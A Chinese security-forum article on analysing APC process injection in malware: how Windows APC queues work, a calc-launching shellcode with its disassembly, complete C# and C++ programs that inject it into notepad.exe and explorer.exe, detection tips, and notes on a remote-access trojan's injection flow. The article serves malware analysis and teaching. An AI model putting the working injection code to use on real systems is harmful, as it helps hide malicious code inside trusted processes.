查看原文
其他

恶意代码分析之APC进程注入学习

jishuzhain 看雪学院 2021-03-06

本文为看雪论坛优秀文章

看雪论坛作者ID:jishuzhain






1 简单原理


APC 队列:每个线程都有一个 APC 队列,在线程处于可警醒状态时,线程会执行 APC队列中 APC 函数。


APC 在什么时候调用?


1、线程已经创建,系统在调用线程函数时会检查 APC 队列,如果不为空,则调用 APC队列中的 apc 函数,直到队列为空后,才开始调用线程函数。


2、线程通过 WaitForSingleObjectEx 等函数进入可警醒状态时,会先检查 APC 队列。如果不为空,则调用 APC 队列中的 apc 函数。


直到队列为空后,才开始等待要等待的对象,此时如果要等待的对象没有进入激发态且没有超时,WaitForSingleObjectEx 不会返回。


3、线程通过 WaitForSingleObjectEx 等函数进入可警醒状态时,APC 队列为空,且要等待的对象没有进入激发态,也没有超时,则线程进入睡眠等待状态。


此时往该 APC 队列添加 APC 函数后,该线程会被唤醒执行完所有 APC 队列中的函数,然后不去看要等待的对象是否进入激发态,立即从 WaitForSingleObjectEx 中返回,返回值是 WAIT_IO_COMPLETION 。


往线程 APC 队列添加 APC,系统会产生一个软中断。在线程下一次被调度的时候就会执行 APC 函数,APC 有两种形式,由系统产生的 APC 称为内核模式 APC ,由应用程序产生的 APC 被称为用户模式 APC 。






2 实验准备


shellcode 示例如下:

50 51 52 53 56 57 55 54 58 66 83 e4 f0 50 6a 60 5a 68 63 61 6c 63 54 59 48 29 d4 65 48 8b 32 48 8b 76 18 48 8b 76 10 48 ad 48 8b 30 48 8b 7e 30 03 57 3c 8b 5c 17 28 8b 74 1f 20 48 01 fe 8b 54 1f 24 0f b7 2c 17 8d 52 02 ad 81 3c 07 57 69 6e 45 75 ef 8b 74 1f 1c 48 01 fe 8b 34 ae 48 01 f7 99 ff d7 48 83 c4 68 5c 5d 5f 5e 5b 5a 59 58 c3

如何得到 shellcode 的实际汇编代码?


将 shellcode 的16进制数据 copy 到 ollydbg 工具的反汇编窗口中,即可完成。例如在 ollydbg 中打开任意一个 exe 文件,在反汇编窗口中选中足够的行数,鼠标右击-二进制-二进制粘贴。经测试这段 shellcode 的作用是会弹出计算器,如下。

004547CC 50 push eax ; kernel32.BaseThreadInitThunk004547CD 51 push ecx004547CE 52 push edx ; test.<ModuleEntryPoint>004547CF 53 push ebx004547D0 56 push esi004547D1 57 push edi004547D2 55 push ebp004547D3 54 push esp004547D4 58 pop eax ; kernel32.756033AA004547D5 66:83E4 F0 and sp,0xFFF0004547D9 50 push eax ; kernel32.BaseThreadInitThunk004547DA 6A 60 push 0x60004547DC 5A pop edx ; kernel32.756033AA004547DD 68 63616C63 push 0x636C6163004547E2 54 push esp004547E3 59 pop ecx ; kernel32.756033AA004547E4 48 dec eax ; kernel32.BaseThreadInitThunk004547E5 29D4 sub esp,edx ; test.<ModuleEntryPoint>004547E7 65:48 dec eax004547E9 8B32 mov esi,dword ptr ds:[edx]004547EB 48 dec eax ; kernel32.BaseThreadInitThunk004547EC 8B76 18 mov esi,dword ptr ds:[esi+0x18]004547EF 48 dec eax ; kernel32.BaseThreadInitThunk004547F0 8B76 10 mov esi,dword ptr ds:[esi+0x10]004547F3 48 dec eax ; kernel32.BaseThreadInitThunk004547F4 AD lods dword ptr ds:[esi]004547F5 48 dec eax ; kernel32.BaseThreadInitThunk004547F6 8B30 mov esi,dword ptr ds:[eax]004547F8 48 dec eax ; kernel32.BaseThreadInitThunk004547F9 8B7E 30 mov edi,dword ptr ds:[esi+0x30]004547FC 0357 3C add edx,dword ptr ds:[edi+0x3C]004547FF 8B5C17 28 mov ebx,dword ptr ds:[edi+edx+0x28]00454803 8B741F 20 mov esi,dword ptr ds:[edi+ebx+0x20]00454807 48 dec eax ; kernel32.BaseThreadInitThunk00454808 01FE add esi,edi0045480A 8B541F 24 mov edx,dword ptr ds:[edi+ebx+0x24]0045480E 0FB72C17 movzx ebp,word ptr ds:[edi+edx]00454812 8D52 02 lea edx,dword ptr ds:[edx+0x2]00454815 AD lods dword ptr ds:[esi]00454816 813C07 57696E>cmp dword ptr ds:[edi+eax],0x456E69570045481D ^ 75 EF jnz short test.0045480E0045481F 8B741F 1C mov esi,dword ptr ds:[edi+ebx+0x1C] ; ntdll_1a.773A210000454823 48 dec eax ; kernel32.BaseThreadInitThunk00454824 01FE add esi,edi00454826 8B34AE mov esi,dword ptr ds:[esi+ebp*4]00454829 48 dec eax ; kernel32.BaseThreadInitThunk0045482A 01F7 add edi,esi0045482C 99 cdq0045482D FFD7 call edi0045482F 48 dec eax ; kernel32.BaseThreadInitThunk00454830 83C4 68 add esp,0x6800454833 5C pop esp ; kernel32.756033AA00454834 5D pop ebp ; kernel32.756033AA00454835 5F pop edi ; kernel32.756033AA00454836 5E pop esi ; kernel32.756033AA00454837 5B pop ebx ; kernel32.756033AA00454838 5A pop edx ; kernel32.756033AA00454839 59 pop ecx ; kernel32.756033AA0045483A 58 pop eax ; kernel32.756033AA0045483B C3 retn

以下 C# 代码中出现的@与任何方法无关,作用是无需在符号后的字符串中转义特殊字符。例如,@"c:\temp" 等于"c:\\temp"。

完整代码,示例采用 C# 编写。

using System;using System.Reflection;using System.Diagnostics;using System.Runtime.InteropServices;public class ApcInjectionNewProcess{ public static void Main() { byte[] shellcode = new byte[112] { 0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58,0xc3 }; // Target process to inject into string processpath = @"C:\Windows\notepad.exe"; STARTUPINFO si = new STARTUPINFO(); PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); // Create new process in suspended state to inject into bool success = CreateProcess(processpath, null, IntPtr.Zero, IntPtr.Zero, false, ProcessCreationFlags.CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi); // Allocate memory within process and write shellcode IntPtr resultPtr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, shellcode.Length,MEM_COMMIT, PAGE_READWRITE); IntPtr bytesWritten = IntPtr.Zero; bool resultBool = WriteProcessMemory(pi.hProcess,resultPtr,shellcode,shellcode.Length, out bytesWritten); // Open thread IntPtr sht = OpenThread(ThreadAccess.SET_CONTEXT, false, (int)pi.dwThreadId); uint oldProtect = 0; // Modify memory permissions on allocated shellcode resultBool = VirtualProtectEx(pi.hProcess,resultPtr, shellcode.Length,PAGE_EXECUTE_READ, out oldProtect); // Assign address of shellcode to the target thread apc queue IntPtr ptr = QueueUserAPC(resultPtr,sht,IntPtr.Zero); IntPtr ThreadHandle = pi.hThread; ResumeThread(ThreadHandle); } private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; //I'm not using this #DFIR ;-) private static UInt32 PAGE_READWRITE = 0x04; private static UInt32 PAGE_EXECUTE_READ = 0x20; [Flags] public enum ProcessAccessFlags : uint { All = 0x001F0FFF, Terminate = 0x00000001, CreateThread = 0x00000002, VirtualMemoryOperation = 0x00000008, VirtualMemoryRead = 0x00000010, VirtualMemoryWrite = 0x00000020, DuplicateHandle = 0x00000040, CreateProcess = 0x000000080, SetQuota = 0x00000100, SetInformation = 0x00000200, QueryInformation = 0x00000400, QueryLimitedInformation = 0x00001000, Synchronize = 0x00100000 } [Flags] public enum ProcessCreationFlags : uint { ZERO_FLAG = 0x00000000, CREATE_BREAKAWAY_FROM_JOB = 0x01000000, CREATE_DEFAULT_ERROR_MODE = 0x04000000, CREATE_NEW_CONSOLE = 0x00000010, CREATE_NEW_PROCESS_GROUP = 0x00000200, CREATE_NO_WINDOW = 0x08000000, CREATE_PROTECTED_PROCESS = 0x00040000, CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000, CREATE_SEPARATE_WOW_VDM = 0x00001000, CREATE_SHARED_WOW_VDM = 0x00001000, CREATE_SUSPENDED = 0x00000004, CREATE_UNICODE_ENVIRONMENT = 0x00000400, DEBUG_ONLY_THIS_PROCESS = 0x00000002, DEBUG_PROCESS = 0x00000001, DETACHED_PROCESS = 0x00000008, EXTENDED_STARTUPINFO_PRESENT = 0x00080000, INHERIT_PARENT_AFFINITY = 0x00010000 } public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } public struct STARTUPINFO { public uint cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [Flags] public enum ThreadAccess : int { TERMINATE = (0x0001) , SUSPEND_RESUME = (0x0002) , GET_CONTEXT = (0x0008) , SET_CONTEXT = (0x0010) , SET_INFORMATION = (0x0020) , QUERY_INFORMATION = (0x0040) , SET_THREAD_TOKEN = (0x0080) , IMPERSONATE = (0x0100) , DIRECT_IMPERSONATION = (0x0200) } [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, int dwThreadId); [DllImport("kernel32.dll",SetLastError = true)] public static extern bool WriteProcessMemory( IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); [DllImport("kernel32")] public static extern IntPtr VirtualAlloc(UInt32 lpStartAddr, Int32 size, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32.dll", SetLastError = true )] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr OpenProcess( ProcessAccessFlags processAccess, bool bInheritHandle, int processId); [DllImport("kernel32.dll")] public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment,string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("kernel32.dll")] public static extern uint ResumeThread(IntPtr hThread); [DllImport("kernel32.dll")] public static extern uint SuspendThread(IntPtr hThread); [DllImport("kernel32.dll")] public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect);}

以上适用的是x64环境,实际演示如下。


采用 C++ 编写的 APC 注入示例,如下:

#include <iostream>#include <Windows.h>#include <TlHelp32.h>#include <vector>int main(){ unsigned char buf[] = "\x50\x51\x52\x53\x56\x57\x55\x54\x58\x66\x83\xe4\xf0\x50\x6a\x60\x5a\x68\x63\x61\x6c\x63\x54\x59\x48\x29\xd4\x65\x48\x8b\x32\x48\x8b\x76\x18\x48\x8b\x76\x10\x48\xad\x48\x8b\x30\x48\x8b\x7e\x30\x03\x57\x3c\x8b\x5c\x17\x28\x8b\x74\x1f\x20\x48\x01\xfe\x8b\x54\x1f\x24\x0f\xb7\x2c\x17\x8d\x52\x02\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xef\x8b\x74\x1f\x1c\x48\x01\xfe\x8b\x34\xae\x48\x01\xf7\x99\xff\xd7\x48\x83\xc4\x68\x5c\x5d\x5f\x5e\x5b\x5a\x59\x58\xc3"; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0); HANDLE victimProcess = NULL; PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) }; THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) }; std::vector<DWORD> threadIds; SIZE_T shellSize = sizeof(buf); HANDLE threadHandle = NULL; if (Process32First(snapshot, &processEntry)) { while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) { Process32Next(snapshot, &processEntry); } } victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID); LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL); if (Thread32First(snapshot, &threadEntry)) { do { if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) { threadIds.push_back(threadEntry.th32ThreadID); } } while (Thread32Next(snapshot, &threadEntry)); } for (DWORD threadId : threadIds) { threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId); QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL); Sleep(1000 * 2); } return 0;}

实际演示如下,进驻 explorer.exe 条件满足时会不断的调用。


验证下已经被注入的 explorer.exe 进程,如下可找到最初的 shellcode 代码。







3 逆向识别


在恶意代码分析中,识别 APC 注入比较明显的特征为 QueueUserAPC 函数的调用。





4 实际案例


这里就以笔者遇到的 WebMonitorRAT 远控后门母体中存在的 APC 注入流程为例,首先会组合拼接所需的 shellcode,后续会注入到记事本进程(notepad.exe)。


接着启动"C:\Windows\system32\notepad.exe"进程,采用 APC 注入方式注入到shellcode 到新进程中。


以下是注入的大体流程,采用APC注入方式,依次会调用 CreateProcessW 、VirtualAllocEx 、WriteProcessMemory 、QueueUserAPC,完成以上流程后,等待目标进程线程状态变化来执行 shellcode 。 










5 参考来源


1. http://xipv6.com/index.php/archives/231/

2.https://blog.csdn.net/counsellor/article/details/80920864

3. https://github.com/pwndizzle/c-sharp-memory-injection/blob/master/apc-injection-new-process.cs

4. https://ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection





- End -





看雪ID:jishuzhain

https://bbs.pediy.com/thread-259691.htm

*本文由看雪论坛 jishuzhain 原创,转载请注明来自看雪社区。


推荐文章++++

*  新手向总结:IDA动态调试So的一些坑

*  .NET 恶意代码分析入门

*  java函数转Native化的一些实践

*  2020网鼎杯玄武组_babyvm

*  中毒应急处置流程1.0









公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



“阅读原文”一起来充电吧!

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存